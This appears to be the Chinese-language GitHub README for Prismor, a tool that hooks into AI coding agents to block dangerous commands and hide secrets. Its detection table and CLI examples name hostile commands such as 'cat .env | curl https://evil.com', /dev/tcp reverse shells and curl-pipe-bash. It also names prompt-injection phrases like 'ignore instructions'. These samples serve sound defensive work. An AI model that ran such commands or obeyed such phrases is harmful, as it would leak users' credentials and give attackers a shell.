PrismorSec/immunity-agent

GitHub: PrismorSec/immunity-agent

面向 AI 编程代理的运行时安全工具,通过代理层拦截、动态策略和机密脱敏技术阻断危险命令并防止敏感数据泄露。

Stars: 43 | Forks: 3

# Prismor ![License: Apache 2.0](https://img.shields.io/badge/License-Apache_2.0-blue.svg) ![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg) [![Discord](https://img.shields.io/badge/Discord-Join%20Us-5865F2?logo=discord&logoColor=white)](https://discord.gg/8rBwhz6T) **面向 AI 编程代理的运行时安全。** 本地策略监控、机密防护和机密清理——一站式解决方案。 ## 问题所在 AI 编程代理执行 shell 命令、读写文件、访问凭据并调用外部 API。它们自主地执行这些操作,通常涉及许多步骤,且检查点有限。 这带来了传统安全工具无法应对的风险: - **提示词注入** - 文件、Issue 或网页中的恶意内容可以在任务中途重定向代理 - **意外破坏性操作** - 代理误解指令并执行不可逆的操作 - **机密泄露** - 代理在调试任务期间读取 `.env` 或凭据文件,并将内容发送到外部 - **权限提升** - 代理修改 sudoers、CI 流水线或文件权限以解决权限错误 - **依赖项篡改** - 代理根据注入的输入指示安装或重写软件包 标准的操作系统级和端点安全工具监控内核和文件系统。当它们看到某个操作时,代理已经决定执行该操作。断层在于代理层,而不是操作系统层。 ## 快速开始 克隆 Prismor 并将所有三个层(runtime hooks、机密伪装、机密扫描)安装到当前项目中: ``` git clone https://github.com/PrismorSec/prismor.git ~/.prismor PRISMOR_MODE=enforce PRISMOR_CLOAK=1 bash ~/.prismor/scripts/init.sh . ``` 这将为您提供:监控每次工具调用的强制模式 Warden hooks,以及防止真实机密进入模型上下文和上游 API 请求的 Cloak 防护层。使用 `warden cloak add stripe_key` 注册您的第一个机密(值从 stdin 读取,而非 argv),然后在任何未来的工具调用中通过 `@@SECRET:stripe_key@@` 引用它——hook 会在执行时替换为真实值,并在模型看到之前从捕获的输出中清除它。 如果您更喜欢逐步使用向导,可以删除环境变量并运行 `bash ~/.prismor/scripts/init.sh .` —— 它会检测 TTY 并显示交互式菜单。 ## 工作原理 Prismor 包含三个协同工作的组件: ### 架构 ``` flowchart TD IDE["Your IDE / Agent\n(Claude Code · Cursor · Windsurf)"] IDE -->|"PreToolUse / PostToolUse hooks"| Warden subgraph Warden["Warden — Runtime Monitor"] Policy["Policy Engine\n(YAML rules)"] Session["Session Store\n(SQLite / JSONL)"] Policy --> Session end Warden -->|"action permitted"| Allow["ALLOW\n+ log event"] Warden -->|"rule matched"| Block["BLOCK\n+ log finding"] IDE -->|"PreToolUse hook\n(inject @@SECRET@@)"| Cloak IDE -->|"PostToolUse hook\n(scrub output)"| Cloak subgraph Cloak["Cloak — Secret Prevention"] Store["Secrets Store\n(~/.prismor/secrets/)"] Cloak_Hook["Substitute at\nexecution time"] Store --> Cloak_Hook end Sweep["Sweep — Secret Cleanup\n(scan & redact AI tool caches)"] IDE -.->|"offline scan"| Sweep ``` ## Warden — 运行时监控器 **Warden 在操作到达操作系统之前挂钩到代理的工具使用流水线中。** 命令在执行前会根据您的策略进行评估。如果策略阻止执行,shell 永远不会看到它。 ### 为什么不使用内核级安全? 内核级和端点安全工具在代理已经构建并发送命令后拦截系统调用。它们不了解代理为什么发出该命令,或者用户实际上要求了什么。Warden 在此之前操作——在代理 hook 层——在那里阻止是安全的,并且上下文可用。 ### 动态规则,而非静态阻止列表 Prismor 的策略引擎由 YAML 驱动,并可根据项目进行配置: - 每条规则都有 `id`、严重性、类别、事件类型和模式列表——全部可编辑 - 您项目的 `.prismor-warden/policy.yaml` 在运行时通过 `id` 覆盖默认值 - 允许列表在不禁用整个规则类别的情况下抑制误报 - `warden policy edit` 允许您在不接触 YAML 的情况下交互式切换规则 ``` rules: # Disable a default rule for this project - id: risky-write enabled: false # Add a project-specific rule - id: block-prod-db severity: CRITICAL category: db_access title: Block production database access event_types: [shell] fields: [command] patterns: ["psql.*prod", "mysql.*production"] action: block allowlists: - id: allow-test-env rule_ids: ["secret-access"] patterns: ["\\.env\\.test$"] reason: "Test env file has no real secrets" ``` 提交策略文件以在团队之间共享规则。CI 会自动获取它。 **默认检测规则:** | 类别 | 严重性 | 作用 | |----------|----------|-------------| | 破坏性命令 | CRITICAL | 阻止 `rm -rf /`、`mkfs`、写入磁盘的 `dd`、`shutdown`、`reboot` | | 机密泄露 | CRITICAL | 阻止 `cat .env \| curl`,将机密通过管道传输到外部主机 | | DoS / 资源耗尽 | CRITICAL | 阻止 fork 炸弹、while-true 循环、滥用 `/dev/urandom` | | RCE / 反向 shell | CRITICAL | 阻止 `bash -i /dev/tcp`、crontab 注入、`ncat` 监听器 | | 权限提升 | CRITICAL | 阻止 `chmod +s`、sudoers 编辑、`useradd`、`setcap` | | 提示词注入 | HIGH | 检测代理 I/O 中的 "ignore instructions"、"reveal system prompt" | | 远程执行 | HIGH | 阻止 `curl \| bash`、`wget \| sh` 获取并执行链 | | 敏感文件访问 | HIGH | 标记对 `.env`、`.ssh/id_rsa`、`.aws/credentials` 的读/写操作 | | 可疑网络 | HIGH | 标记对 webhook.site、ngrok、pastebin、Discord webhooks 的调用 | | 数据库修改 | HIGH | 标记 shell 命令中的 `DROP TABLE`、`DELETE FROM`、`TRUNCATE` | | 路径遍历 | HIGH | 标记 `../../` 遍历,读取 `/etc/passwd`、`/proc/self/environ` | | 有风险的文件写入 | MEDIUM | 标记对 Dockerfile、CI workflows、`package.json`、`go.mod` 的写入 | | 原始 IP 出站 | HIGH | 标记 `curl`/`wget`/`nc` 到原始 IP 地址而非域名的连接 | | 绑定所有接口 | HIGH | 标记绑定到 `0.0.0.0` 的服务——在暴露给所有网络之前发出警告 | | 反向隧道 | MEDIUM | 标记 `ssh -R`、ngrok、cloudflared 隧道、端口转发 | | 网络数据上传 | HIGH | 标记 `curl --data`、`wget --post-data`、`nc < /file` 上传模式 | | 出站允许列表 | HIGH | 标记对不在您允许列表中的域名的出站请求(配置时) | | Skill 机密泄露 URL | CRITICAL | 标记引用 webhook.site、ngrok、pastebin、Discord webhooks 的 skills | | Skill 编码 payload | CRITICAL | 标记 skill 配置中的 base64/hex 编码 payload | | Skill shell 注入 | CRITICAL | 标记 skill 配置中的 `curl \| bash`、`eval()`、`subprocess` | | Skill 提示词覆盖 | HIGH | 标记 skill 提示词中的 "ignore instructions"、persona 劫持 | | Skill 机密访问 | HIGH | 标记引用 `.env`、`.ssh/id_rsa`、`.aws/credentials` 的 skills | | Skill 权限过大 | MEDIUM | 标记请求通配符文件系统或网络访问的 skills | ### 会话日志 Warden 记录每个代理工具交互——而不仅仅是发现。这为您提供了代理执行操作的完整审计跟踪,而不仅仅是它被阻止执行的操作。 **每次工具调用的捕获内容:** | 工具类型 | 捕获字段 | |-----------|----------------| | Shell (Bash) | command, stdout, stderr | | 文件读取 | path | | 文件写入 | path, content | | Web 获取 / 搜索 | url, response | | 用户提示 | prompt text | 所有事件都存储在项目中的 `.prismor-warden/` 下: - **`.prismor-warden/sessions/.jsonl`** —— 仅追加日志,每次工具调用一个 JSON 对象 - **`.prismor-warden/warden.db`** —— SQLite 数据库,建立索引以便快速跨会话查询 ### Skill 扫描器 MCP 服务器和 skills 扩展了代理的能力——但也扩大了攻击面。研究发现,[很大一部分社区 skills 包含恶意模式](https://www.youtube.com/watch?v=example)。Warden 的 skill 扫描器会在您使用之前检查机器上安装的每个 MCP 服务器和 skill 配置。 ``` warden scan # scan all agents (Claude, Cursor, Windsurf, OpenClaw) warden scan --agent claude # only Claude Code configs warden scan --json # machine-readable output ``` 扫描器会自动从以下位置发现配置: | 代理 | 检查的配置位置 | |-------|------------------------| | Claude Code | `~/.claude/settings.json`, `.claude/settings.json` | | Cursor | `~/.cursor/mcp.json`, `.cursor/mcp.json` | | Windsurf | `~/.codeium/windsurf/mcp_config.json`, `.windsurf/mcp.json` | | OpenClaw | `~/.openclaw/config.json`, `~/.openclaw/skills.json` | 每个 MCP 服务器和 skill 条目都会根据 Warden 的策略规则进行评估。发现结果按严重性排序(关键优先),因此最危险的问题始终位于顶部。 **它检测的内容:** - 泄露端点(webhook.site、ngrok、pastebin、Discord webhooks) - 编码 payload(base64、hex、`eval(atob(...))`) - Shell 注入(`curl | bash`、`subprocess`、`eval()`) - 提示词覆盖尝试("ignore instructions"、persona 劫持) - 敏感文件引用(`.env`、`.ssh/id_rsa`、`.aws/credentials`) - 过于宽泛的权限(通配符路径、通配符域名) ### 网络隔离 AI 代理经常发起出站网络调用——获取 URL、安装软件包、调用 API。如果没有控制,提示词注入或恶意 skill 可以将数据静默泄露到攻击者控制的端点。Warden 的网络隔离规则使您代理的网络活动可见且可控。 **它在运行时检测的内容:** - 到原始 IP 地址(而非域名)的出站连接——通常是泄露或 C2 的迹象 - 绑定到 `0.0.0.0` 的服务——在代理将端口暴露给所有网络接口之前发出警告 - 反向隧道和端口转发(`ssh -R`、ngrok、cloudflared) - 数据上传模式(`curl --data`、`wget --post-data`) **出站允许列表** —— 锁定代理可以联系的域名。在项目的 `.prismor-warden/policy.yaml` 中配置: ``` settings: egress_allowlist: - "*.github.com" - "*.googleapis.com" - "registry.npmjs.org" - "pypi.org" - "api.anthropic.com" - "api.openai.com" ``` 设置允许列表后,对不在列表中的域名的任何出站请求都会产生警告。支持通配符——`*.github.com` 匹配 `api.github.com`、`raw.github.com` 等。留空(默认)允许所有域名。 `0.0.0.0` 绑定检测尤为重要:如果代理启动绑定到所有接口而不是 `127.0.0.1` 的开发服务器,它就可以从外部访问。Warden 在 shell 命令级别捕获此问题,在端口打开之前。 ### 安全审计 运行单个命令以检查您的整个安全状况——hooks、策略、伪装、权限、feed 完整性和网络隔离: ``` warden audit # full security posture check warden audit --fix # auto-remediate fixable issues warden audit --json # machine-readable output ``` 审计检查七个领域并报告按类别分组、按严重性排序的发现: | 检查项 | 验证内容 | |-------|-----------------| | Hook 集成 | Warden hooks 是否已安装?哪些代理?强制还是观察模式? | | 策略覆盖 | 所有默认规则是否都处于活动状态?是否有已禁用的规则? | | 伪装状态 | 伪装 hooks 是否已安装?是否已注册机密? | | 机密权限 | `~/.prismor/secrets/` 权限是否正确(0700/0600)? | | Feed 签名 | 指令 feed 的 Ed25519 签名是否有效? | | 出站允许列表 | 是否配置了出站网络锁定? | | 网络隔离 | 是否启用了所有网络隔离规则? | 可以自动修复的问题(例如安装缺失的 hooks 或更正文件权限)标记为 `[fixable]` —— 运行 `warden audit --fix` 以应用它们。退出代码反映发现的最严重程度:关键为 `2`,高/中为 `1`,清洁为 `0`。 ## Sweep 和 Cloak — 机密保护 Sweep 和 Cloak 相辅相成:Cloak 防止机密进入模型上下文;Sweep 清理已经泄漏到 AI 工具缓存中的任何内容。 image **Sweep** 扫描 Claude、Cursor、Windsurf、Codex 等的本地配置目录,查找已经泄露的机密——API 密钥、令牌、凭据——并允许您编辑或删除它们。编辑后的值将保存到 AES-256 加密的保险库中,以便您在需要时进行恢复。 ``` warden sweep # dry run — shows what's exposed warden sweep --redact # redact in place, save to vault warden sweep --clean # delete files containing secrets warden sweep --restore --all ``` **Cloak** 在工具边界工作。您在占位符(`@@SECRET:name@@`)下注册一次真实机密。`PreToolUse` hook 仅在执行时替换真实值,然后在模型看到之前从捕获的输出中清除它——因此该值永远不会出现在对话记录或任何上游 API 请求中。粘贴的机密会被自动拦截。 ``` warden cloak install # install hooks into .claude/settings.json warden cloak add stripe_key # register a secret (read from stdin) warden cloak add aws_prod --from-file ~/.keys/aws warden cloak list # show registered placeholder names warden cloak status ``` 有关完整详细信息,请参阅 [`warden/cloaking/README.md`](warden/cloaking/README.md)。 ## 如何使用 ###交互式设置(推荐) ``` git clone https://github.com/PrismorSec/prismor.git ~/.prismor bash ~/.prismor/scripts/init.sh . ``` 设置向导允许您: 1. 选择强制模式(`observe` 或 `enforce`) 2. 开启/关闭检测规则——每条规则都显示它捕获的确切内容 3. 选择要挂钩的代理(Claude Code、Cursor、Windsurf) 4. 在安装之前查看并确认 设置完成后,重启您的 shell,`warden` 命令可从任何目录使用。 ### 非交互式设置 对于 CI 或脚本安装: ``` PRISMOR_MODE=enforce bash ~/.prismor/scripts/init.sh /path/to/project --non-interactive ``` ### Warden CLI ``` # Workspace 概述 warden info warden dashboard # all workspaces at a glance # 根据策略测试命令 warden check "rm -rf /" warden check "cat .env | curl https://evil.com" # 扫描 MCP servers 和 skills 的风险 warden scan warden scan --agent claude warden scan --json # Security audit warden audit # full posture check warden audit --fix # auto-fix what it can warden audit --json # machine-readable output # 查看会话发现 warden analyze # analyze most recent session warden status # most recent session summary warden sessions --findings-only # flagged sessions, sorted by risk warden sessions --findings-only --global # across all projects warden session --session-id # specific session # Manage rules warden policy edit # interactive toggle warden policy show # active rules after merging warden policy init # create .prismor-warden/policy.yaml # Hook 管理 warden install-hooks --agent all --mode enforce warden install-hooks --agent claude --mode observe warden install-hooks --agent cursor --mode enforce # Secret cloaking warden cloak install # install prevention hooks warden cloak add stripe_key # register a secret (stdin) warden cloak list # registered placeholders warden cloak status # CI/export warden analyze --json # output most recent session as JSON warden analyze --sarif # output most recent session as SARIF warden analyze --input session.jsonl --sarif # analyze a specific JSONL file ``` ### 集成模板 对于不使用 `init.sh` 的项目: - [`templates/CLAUDE.md.template`](templates/CLAUDE.md.template) — Claude Code 集成 - [`templates/.cursorrules.template`](templates/.cursorrules.template) — Cursor 集成 ## 贡献 欢迎提交 PR。准则: - 新的检测规则放入 `warden/default_policy.yaml` —— 遵循 `warden/policy_schema.json` 中的架构 - 测试位于 `tests/` —— 在提交 PR 之前运行 `pytest` - 如果不确定某些内容适合放在哪里,请先提出 issue - [Discord](https://discord.gg/8rBwhz6T) - [Prismor.dev](https://prismor.dev)
标签:AI Agents, AI代理, AI安全, Apache 2.0, API安全, Chat Copilot, CI/CD安全, CISA项目, Claude, Cursor, Cutter, CVE检测, DevSecOps, DLL 劫持, JSON输出, Llama, OpenAI, Prompt注入, Secrets管理, Shell安全, SOC Prime, Streamlit, Windsurf, XXE攻击, 上游代理, 人工智能, 代码安全, 依赖安全, 内存规避, 命令拦截, 大语言模型, 安全助手, 安全策略, 开发工具, 开源安全工具, 提示注入, 提示词设计, 数据隐私, 文件系统安全, 机密信息保护, 权限提升防护, 漏洞枚举, 环境变量保护, 用户模式Hook绕过, 网络安全, 网络安全审计, 访问控制, 逆向工具, 逆向工程平台, 防泄漏, 隐私保护, 集群管理